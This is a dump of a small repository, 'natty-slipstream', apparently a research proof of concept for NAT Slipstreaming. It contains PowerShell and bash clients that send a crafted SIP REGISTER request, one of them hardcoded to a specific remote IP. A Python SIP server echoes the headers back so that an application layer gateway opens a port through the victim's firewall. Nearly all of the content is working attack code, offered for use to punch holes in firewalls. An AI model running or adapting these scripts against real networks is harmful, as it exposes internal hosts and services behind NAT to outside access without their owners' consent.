├── Invoke-NATOpenPort.ps1 ├── LICENSE ├── README.md ├── natty.sh ├── natty.sh.txt └── sip-server.py /Invoke-NATOpenPort.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-NATOpenPort 2 | { 3 | Param 4 | ( 5 | [Parameter(Mandatory=$true, Position=0)] 6 | [ValidateNotNullOrEmpty()] 7 | [string] 8 | $REMOTE_IP, 9 | 10 | [Parameter(Mandatory=$false, Position=1)] 11 | [int] 12 | $RPORT = 5060, 13 | 14 | [Parameter(Mandatory=$true, Position=2)] 15 | [ValidateNotNullOrEmpty()] 16 | [string] 17 | 18 | $LOCAL_IP, 19 | [Parameter(Mandatory=$false, Position=3)] 20 | [int] 21 | $LPORT = 44444 22 | 23 | ) 24 | 25 | $conn = New-Object System.Net.Sockets.TcpClient($REMOTE_IP , $RPORT) 26 | $stream = $conn.GetStream() 27 | $reader = New-Object System.IO.StreamReader($stream) 28 | $writer = New-Object System.IO.StreamWriter($stream) 29 | 30 | $REQUEST = "REGISTER sip:example.org;transport=TCP SIP/2.0 31 | Via: SIP/2.0/TCP ${LOCAL_IP}:${RPORT};branch=I9hG4bK-d8754z-c2ac7de1b3ce90f7-1---d8754z-;rport;transport=TCP 32 | Max-Forwards: 70 33 | Contact: 34 | To: 35 | From: ;tag=U7c3d519 36 | Call-ID: aaaaaaaaaaaaaaaaa0404aaaaaaaaaaaabbbbbbZjQ4M2M. 37 | CSeq: 1 REGISTER 38 | Expires: 60 39 | Allow: REGISTER, INVITE, ACK, CANCEL, BYE, NOTIFY, REFER, MESSAGE, OPTIONS, INFO, SUBSCRIBE 40 | Supported: replaces, norefersub, extended-refer, timer, X-cisco-serviceuri 41 | Allow-Events: presence, kpml 42 | Content-Length: 0 43 | 44 | " 45 | 46 | foreach($line in $REQUEST) 47 | { 48 | $Writer.Write($line) 49 | $Writer.Flush() 50 | } 51 | 52 | $reader.ReadToEnd() 53 | $reader.Close() 54 | $conn.Close() 55 | 56 | } 57 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 wunderwuzzi23 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # natty-slipstream 2 | 3 | Simplified NAT Slipstream server and client. 4 | 5 | * Simple SIP Server 6 | * Just handles SIP `REGISTER` part to punch hole in firewall (no HTTP/browser magic) 7 | * Clients for Windows, Linux and macOS 8 | 9 | More info in this post [Abusing Application Layer Gateways](https://embracethered.com/blog/posts/2020/nat-slipstreaming-simplified/) 10 | 11 | ## Reference 12 | 13 | Inspired by NAT Slipstream by Samy Kamkar (https://samy.pl/slipstream) 14 | 15 | https://github.com/samyk/slipstream 16 | -------------------------------------------------------------------------------- /natty.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | echo "Usage: ./natty SIP_SERVER SIP_PORT LOCAL_PORT [LOCAL_IP]" 4 | echo " ./natty 10.10.10.10 5060 80" 5 | echo "NATTY will attempt to figure out local IP, but that can be overwritten with last argument" 6 | 7 | REMOTE_IP=$1 8 | RPORT=${2:-5060} 9 | LPORT=$3 10 | LOCAL_IP=${4:-$(ip route get 1 | awk '{print $NF;exit}')} 11 | 12 | echo "Welcome" 13 | echo "Remote: " $REMOTE_IP:$RPORT 14 | echo "Local: " $LOCAL_IP:$LPORT 15 | echo "Sending" 16 | echo "" 17 | 18 | curl -i -s -k -X $'REGISTER' \ 19 | -H $'Via: SIP/2.0/TCP '$LOCAL_IP:$RPORT';branch=I9hG4bK-d8754z-c2ac7de1b3ce90f7-1---d8754z-;rport;transport=TCP' \ 20 | -H $'Max-Forwards: 70' -H $'Contact: ' \ 21 | -H $'To: ' \ 22 | -H $'From: ;tag=U7c3d519' \ 23 | -H $'Call-ID: aaaaaaaaaaaaaaaaa0404aaaaaaaaaaaabbbbbbZjQ4M2M.' \ 24 | -H $'CSeq: 1 REGISTER' -H $'Expires: 60' -H $'Allow: REGISTER, INVITE, ACK, CANCEL, BYE, NOTIFY, REFER, MESSAGE, OPTIONS, INFO, SUBSCRIBE' \ 25 | -H $'Supported: replaces, norefersub, extended-refer, timer, X-cisco-serviceuri' \ 26 | -H $'Allow-Events: presence, kpml' -H $'Content-Length: 0' \ 27 | $'http://'$REMOTE_IP:$RPORT'/sip:example.org;transport=TCP' 28 | 29 | echo "" 30 | echo "Done." 31 | -------------------------------------------------------------------------------- /natty.sh.txt: -------------------------------------------------------------------------------- 1 | REMOTE_IP=47.88.85.205 2 | RPORT=5060 3 | 4 | LOCAL_IP=$(ip route get 1 | awk '{print $NF;exit}') #to do, this won't work on macOS, replace 5 | LPORT=80 6 | 7 | curl -i -s -k -X $'REGISTER' \ 8 | -H $'Via: SIP/2.0/TCP '$LOCAL_IP:$RPORT';branch=I9hG4bK-d8754z-c2ac7de1b3ce90f7-1---d8754z-;rport;transport=TCP' \ 9 | -H $'Max-Forwards: 70' -H $'Contact: ' \ 10 | -H $'To: ' \ 11 | -H $'From: ;tag=U7c3d519' \ 12 | -H $'Call-ID: aaaaaaaaaaaaaaaaa0404aaaaaaaaaaaabbbbbbZjQ4M2M.' \ 13 | -H $'CSeq: 1 REGISTER' -H $'Expires: 60' -H $'Allow: REGISTER, INVITE, ACK, CANCEL, BYE, NOTIFY, REFER, MESSAGE, OPTIONS, INFO, SUBSCRIBE' \ 14 | -H $'Supported: replaces, norefersub, extended-refer, timer, X-cisco-serviceuri' \ 15 | -H $'Allow-Events: presence, kpml' -H $'Content-Length: 0' \ 16 | $'http://'$REMOTE_IP:$RPORT'/sip:example.org;transport=TCP' 17 | -------------------------------------------------------------------------------- /sip-server.py: -------------------------------------------------------------------------------- 1 | ### Simple SIP Server - natty slipstream 2 | ### Just handles SIP part (no HTTP magic) 3 | ### Inspired by NAT Slipstream code (https://samy.pl/slipstream) 4 | 5 | from socket import * 6 | 7 | s = socket(AF_INET,SOCK_STREAM) 8 | s.bind(("",5060)) 9 | s.listen() 10 | 11 | while True: 12 | con, client = s.accept() 13 | print("Connection from", client) 14 | done=0 15 | 16 | incoming_message = "" 17 | 18 | while done < 4: #simple way to detect EOM 19 | dataFromClient = con.recv(1) 20 | d = dataFromClient.decode() 21 | incoming_message += d 22 | print(d, end ="") 23 | 24 | if d == "\n" or d == "\r": 25 | done = done + 1 26 | else: 27 | done=0 28 | 29 | contact = "" 30 | via = "" 31 | for line in incoming_message.splitlines(): 32 | if (line.startswith("Contact:")): 33 | contact = line 34 | 35 | if (line.startswith("Via:")): 36 | via = line 37 | 38 | print("Sending response") 39 | 40 | 41 | BODY=f"""SIP/2.0 200 OK 42 | """ + via + """;received=0.0.0.0 43 | From: ;tag=U7c3d519 44 | To: ;tag=37GkEhwl6 45 | Call-ID: aaaaaaaaaaaaaaaaa0404aaaaaaaaaaaabbbbbbZjQ4M2M. 46 | CSeq: 1 REGISTER 47 | """ + contact + """;expires=3600 48 | Content-Length: 0 49 | 50 | 51 | """ 52 | 53 | BODY = BODY.replace("\n","\r\n") 54 | print(BODY) 55 | con.send(BODY.encode("ascii")) 56 | con.close() 57 | print("Response sent.") 58 | --------------------------------------------------------------------------------